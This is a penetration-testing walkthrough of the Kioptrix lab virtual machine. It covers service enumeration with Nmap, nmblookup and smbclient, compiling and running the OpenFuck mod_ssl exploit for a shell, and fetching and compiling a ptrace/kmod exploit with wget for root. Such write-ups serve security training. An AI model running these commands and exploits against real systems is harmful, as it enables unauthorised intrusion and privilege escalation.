Service Discovery

An Nmap scan [nmap -sS -sV -T4 -vv] revealed that the machine had a number of services running, most notably an old version of Apache and a Samba service.

22/tcp   open  ssh         syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        syn-ack ttl 64 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     syn-ack ttl 64 2 (RPC #100000)
139/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   syn-ack ttl 64 Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      syn-ack ttl 64 1 (RPC #100024)

Using nmblookup, I was able to find the NetBIOS name of the machine:

root@kali:~# nmblookup -A
Looking up status of
	KIOPTRIX        <00> -         B <ACTIVE>
	KIOPTRIX        <03> -         B <ACTIVE>
	KIOPTRIX        <20> -         B <ACTIVE>
	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
	MYGROUP         <00> - <GROUP> B <ACTIVE>
	MYGROUP         <1d> -         B <ACTIVE>
	MYGROUP         <1e> - <GROUP> B <ACTIVE>

	MAC Address = 00-00-00-00-00-00

After identifying the NetBIOS name as KIOPTRIX, I used this with smbclient to find the available shares and fingerprint the service, which shows the Samba version is 2.2.1a:

root@kali:~# smbclient -L \\KIOPTRIX -I -N
Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Samba Server)
	ADMIN$          IPC       IPC Service (Samba Server)

Anonymous login successful
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

	Server               Comment
	---------            -------
	KIOPTRIX             Samba Server

	Workgroup            Master
	---------            -------
	MYGROUP              KIOPTRIX

Exploiting Apache

The version of Apache reported by Nmap is vulnerable to CVE-2002-0082 (a.k.a OpenFuck). I grabbed the exploit from and installed libssl-dev, in order to compile it.

The first attempt to compile resulted in GCC complaining about numerous undeclared constants, due to changes in the library from when the exploit was originally developed.

To solve this, two new include statements needed to be added, so that openssl/rc4 and openssl/md5 are both included. After making this small change, the exploit could successfully be compiled by running gcc exploit.c -o exploit -lcrypto.

Once the exploit was compiled, I grepped the available offsets that were included in the exploit to find one that matches the fingerprint produced by Nmap earlier:

root@kali:~# ./exploit | grep 1.3.20
	0x02 - Cobalt Sun 6.0 (apache-1.3.20)
	0x27 - FreeBSD (apache-1.3.20)
	0x28 - FreeBSD (apache-1.3.20)
	0x29 - FreeBSD (apache-1.3.20+2.8.4)
	0x2a - FreeBSD (apache-1.3.20_1)
	0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
	0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
	0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
	0x7e - Slackware Linux 8.0 (apache-1.3.20)
	0x86 - SuSE Linux 7.3 (apache-1.3.20)

Options 0x6a and 0x6b match the fingerprint of the machine, so I tried both. 0x6a failed, but 0x6b successfully acquired a shell as the apache user:

root@kali:~# ./exploit 0x6b 443 -c 50

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Connection... 50 of 50
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
oits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; .nl/0304-expl
           => `ptrace-kmod.c'
Connecting to Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory

Getting Root Shell

As the VM has no access to the Internet, it was unable to automate the privilege escalation. Due to the age of the exploit, it would have failed anyway, as the URL it tries to grab the exploit from is seemingly dead (

As I was using a non-interactive shell, I grabbed a copy of the ptrace/kmod exploit from I ran it through GCC locally, to ensure it doesn’t need any patching, and found that it was using an old header file [linux/user.h], which needed to be replaced with sys/user.h.

After making this small change, I started a local HTTP server to transfer it to the target machine:

root@kali:~# python -m SimpleHTTPServer 9090
Serving HTTP on port 9090 ...

Once the HTTP server was up, I transferred the updated exploit, compiled and acquired a root shell through it:

bash-2.05$ wget
bash-2.05$ gcc ptrace.c -o ptrace
bash-2.05$ ./ptrace
[+] Attached to 6289
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...